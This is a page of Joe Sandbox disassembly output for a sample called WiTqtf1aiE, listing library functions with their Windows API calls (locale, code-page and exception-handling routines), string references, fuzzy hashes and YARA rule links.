Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 86e354d4bfdcfb1adea69db2995c6e9fce1199ed2da83e102c0180bfcf607b1c
Instruction ID: 2661f3691175078939a06b848401b788422f85e4ff1d2c834c46395e13e703ed
Opcode Fuzzy Hash: 86e354d4bfdcfb1adea69db2995c6e9fce1199ed2da83e102c0180bfcf607b1c
Instruction Fuzzy Hash: F451F471A002459FDF31CF75C885AEABFF5FF95300F18846ED0868B291E6B4AA45CB52

Function 005B9FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,005BA1F9,005BA1ED,00000000), ref: 005B9FDC

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 8888e7dc69f127d8910b592209e7b78add6cd7cc85a6228d955d2225fc123750
Instruction ID: 846e3abd82f72102becdbe7de75d8b917cc9695cc330ec7f0e9ac60604a587a3
Opcode Fuzzy Hash: 8888e7dc69f127d8910b592209e7b78add6cd7cc85a6228d955d2225fc123750
Instruction Fuzzy Hash: 3151567190825C9EDB218A28CC88AE67FB8FB59304F2405A9E59AC7182D375BD46DF21

Non-executed Functions

Function 005BC9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 005BCAF5
IsValidCodePage.KERNEL32(00000000), ref: 005BCB3E
IsValidLocale.KERNEL32(?,00000001), ref: 005BCB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 005BCB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 005BCBB4

Strings

||\, xrefs: 005BCA4E

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ||\
API String ID: 415426439-1140679427
Opcode ID: 95e6d630580b0516ac36a0400ae38e10007940505aecca53046e2a12cfa8a121
Instruction ID: abb98740964d80db706d852dc8ec8402557a00c70c7701a53b71e91619f41403
Opcode Fuzzy Hash: 95e6d630580b0516ac36a0400ae38e10007940505aecca53046e2a12cfa8a121
Instruction Fuzzy Hash: 95514C72A0020AAFDB10DFA5DC46EFE7FB8BF48700F544469E911E7190E770AA44CB69

Function 005BD39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005BD57F

Strings

1#SNAN, xrefs: 005BD4A7
1#IND, xrefs: 005BD4A0
1#INF, xrefs: 005BD4D1
1#QNAN, xrefs: 005BD4AE

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 6cda22b9d31e8aecf94c5aee2049fcbb40200aa2781eced682af34d2cc3b3971
Instruction ID: 3321caf960162f5a804b365177a551fd2785aed100cf34b81b556eb086455528
Opcode Fuzzy Hash: 6cda22b9d31e8aecf94c5aee2049fcbb40200aa2781eced682af34d2cc3b3971
Instruction Fuzzy Hash: F6D21671E086298FDB658F28DC45BEABBB5FB44304F1445EAD40DA7240EB78BE818F51

Function 005BC085 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

GetACP.KERNEL32(?,?,?,?,?,?,005B1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005BC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,005B1848,?,?,?,00000055,?,-00000050,?,?), ref: 005BC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 005BC2D4

Strings

utf8, xrefs: 005BC243
||\, xrefs: 005BC0C7

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8$||\
API String ID: 607553120-1168452061
Opcode ID: 1237fbfe9469f2125d397f5d9734b2d3676aa43d511e2ca02eadbc4296a96387
Instruction ID: dbb7b99122d25a34be0b7aa6e53bbcfc114c7e5e55f4a2a6cb384036ebd991cf
Opcode Fuzzy Hash: 1237fbfe9469f2125d397f5d9734b2d3676aa43d511e2ca02eadbc4296a96387
Instruction Fuzzy Hash: 3C71E875A00606AADB24BB75CC4ABFABFA8FF45700F144429F546E7181E674F940C7A8

Function 005BC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,005BCB32,00000002,00000000,?,?,?,005BCB32,?,00000000), ref: 005BC8AD
GetLocaleInfoW.KERNEL32(?,20001004,005BCB32,00000002,00000000,?,?,?,005BCB32,?,00000000), ref: 005BC8D6
GetACP.KERNEL32(?,?,005BCB32,?,00000000), ref: 005BC8EB

Strings

ACP, xrefs: 005BC832
OCP, xrefs: 005BC868

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ed4eb3ae194bc918037893773adf758a485ee4d95e90af03b16e94de789c7721
Instruction ID: dba5e805ddeb67cd94f63818f9063601e2f4c1adbc6f4eeeca1afe3f2ffd1df8
Opcode Fuzzy Hash: ed4eb3ae194bc918037893773adf758a485ee4d95e90af03b16e94de789c7721
Instruction Fuzzy Hash: 5921B632A00105EADB359F55C905AD77FA6FF54B50B568834F909EB101E732FE40D794

Function 005AFEF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Strings

G[, xrefs: 005B0233, 005B0211
G[, xrefs: 005AFF0B, 005B008E, 005B02B7, 005B0250, 005B00DD

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID: G[$G[
API String ID: 0-851700152
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: dfe7ed4bd5b3b5b53f58b834ed111e523553fba01dbd3286adc0d8e4d350034b
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: B3F12C75E002199FDF14CFA8C884AEEBBB1FF89314F159269E915A7381D730AA05CB90

Function 005B3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005B3D1F

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 9385bd00b2021af8f5e3780fb893315ac6ae356888328c603ed75beb6ad9503c
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: A3B1F272A042469FDB158F68C881BFEBFB5FF55350F15416AE905BB242D238EE05CBA0

Function 005A7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 005A792E
IsDebuggerPresent.KERNEL32 ref: 005A79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005A7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 005A7A1D

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d056b8ff66c17e5d7943a7dc21d0448b2c71b7eaa97967d609f056387a033ecd
Instruction ID: 3d5b8d722181324ecfba19ea7d31990adf3e49c3a6c49b00090cc1b39d7c30ea
Opcode Fuzzy Hash: d056b8ff66c17e5d7943a7dc21d0448b2c71b7eaa97967d609f056387a033ecd
Instruction Fuzzy Hash: 9931E5B5D0521D9ADB60DFA4DD49BCDBBB8BF08300F1041AAE50CAB250EB709B858F45

Function 005BC498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BC5FC

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: aa820107e586fde405b40aa2e1ea549b6149198280b5def2039d0e4e2fd58eec
Instruction ID: 083effd6b715934cd62f94c690df5e9195d8474141496e53f509f895f89e2af5
Opcode Fuzzy Hash: aa820107e586fde405b40aa2e1ea549b6149198280b5def2039d0e4e2fd58eec
Instruction Fuzzy Hash: 54616C729002179BDB289F28CC86FFA7FA8FF44310F10416AE915C6585EB74F945DB58

Function 005ADA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 005ADB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 005ADB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 005ADB82

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f1a61010d5f9a036e5c08db85ba07bb77fc394f0493e2e1f3f67fd19a557c7aa
Instruction ID: 71af6cdd3d06a2646f6251da92d961e26c720af6be3b8d14c168648e048dd674
Opcode Fuzzy Hash: f1a61010d5f9a036e5c08db85ba07bb77fc394f0493e2e1f3f67fd19a557c7aa
Instruction Fuzzy Hash: BB31D37590122DABCB21DF28DC89BDCBBB8BF58310F5041EAE40CA7250EB309B858F54

Function 005D1868 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

/Kim, xrefs: 005D18AD

Memory Dump Source

Source File: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID: /Kim
API String ID: 0-585551710
Opcode ID: 5572c713f8afa8ef6efff83c72f7ce39c5751b46f42c4658f9a69f5a92445e3d
Instruction ID: 4f0eb7a366bed9fcfe868c520a19eb6af3332379b0e62903efb37815c7db08c0
Opcode Fuzzy Hash: 5572c713f8afa8ef6efff83c72f7ce39c5751b46f42c4658f9a69f5a92445e3d
Instruction Fuzzy Hash: 2B717F72F016099BCB28CF6DD9946ADBBF6BF88310B14422FE41AD7390EB3099458785

Function 005B622B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005B23AE,?,20001004,00000000,00000002,?,?,005B19B0), ref: 005B625F

Strings

R[Z, xrefs: 005B624A

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: InfoLocale
String ID: R[Z
API String ID: 2299586839-1116217273
Opcode ID: f259a9206ca65b4af2bfb1bcaf6713a6a92daf8849bbc303bcb966937e06f19d
Instruction ID: 849fd1cfe9519892c2036f0bc009bc7c81ea31aac5925c0eedcd92d0d4b806e9
Opcode Fuzzy Hash: f259a9206ca65b4af2bfb1bcaf6713a6a92daf8849bbc303bcb966937e06f19d
Instruction Fuzzy Hash: 15E01A36500628BBDF122F60DC09EEEBE2ABF84760F148410F90566121DB769A24AA91

Function 005D0438 Relevance: 2.3, APIs: 1, Instructions: 825COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 005D0EB0

Memory Dump Source

Source File: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1a8628642fcc8f26cdfdf6f56baeac11edfdb460b7447a43c5f77cb8cad46129
Instruction ID: ada6ef72197cf02dc49592459a5eba76b9661e15cc171331cfdd3a9886789d4c
Opcode Fuzzy Hash: 1a8628642fcc8f26cdfdf6f56baeac11edfdb460b7447a43c5f77cb8cad46129
Instruction Fuzzy Hash: 72729B715043419FD734DF28C989BAEBBE1BFC4304F148A2EE48997391DB70A985CB92

Function 005B572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,005B5727,?,?,00000008,?,?,005C15F5,00000000), ref: 005B5959

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0e5efab4d080d8c67580ba5086db6fdc2fbf716aca1dc8bcb371adb8f662582b
Instruction ID: 9e75faa7cd9b0e4b57fc380789e002ccaf23536b634968845c34bb1581cc9f9d
Opcode Fuzzy Hash: 0e5efab4d080d8c67580ba5086db6fdc2fbf716aca1dc8bcb371adb8f662582b
Instruction Fuzzy Hash: 4BB14C31610A08DFD719CF28C486BA57FA0FF45365F298658F899CF2A1D335E992CB40

Function 005A729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 005A72B2

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b6ae35cf966e4c9693bfcf35e177744784c7aa7cc06ff6f9f8fd41a742b0ee71
Instruction ID: c567c79210d648a22fbf8505846c259d2aba9587ff4ad4c157829a85176e0f32
Opcode Fuzzy Hash: b6ae35cf966e4c9693bfcf35e177744784c7aa7cc06ff6f9f8fd41a742b0ee71
Instruction Fuzzy Hash: FCA16F71D05A058FDB18CF68DC86AADBBF1FB58314F24852AD419E73A0E3349945DFA0

Function 005B9ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be03f0adfbd3e90fc0628f415ad51abc2417a400d3d41e3aa6c6f54065e17bb
Instruction ID: 5cde5e11241aa0c6e0305084cdacf0cfac20da644b1e976f82c3621318fa7e3e
Opcode Fuzzy Hash: 4be03f0adfbd3e90fc0628f415ad51abc2417a400d3d41e3aa6c6f54065e17bb
Instruction Fuzzy Hash: F531C676904619AFCB20EFA9DC89EEBBB7DFB84314F144558F90597244EA30BE408B50

Function 005ACAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 005ACC80

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 949348303839179722cf1d670f56b3b7a624da3195f4313f9cf8be3c30c12a3b
Instruction ID: 4714f8a869a8670102e5c2f59fb77d43d8242a24c5df7cf93ab9cc792e5416c8
Opcode Fuzzy Hash: 949348303839179722cf1d670f56b3b7a624da3195f4313f9cf8be3c30c12a3b
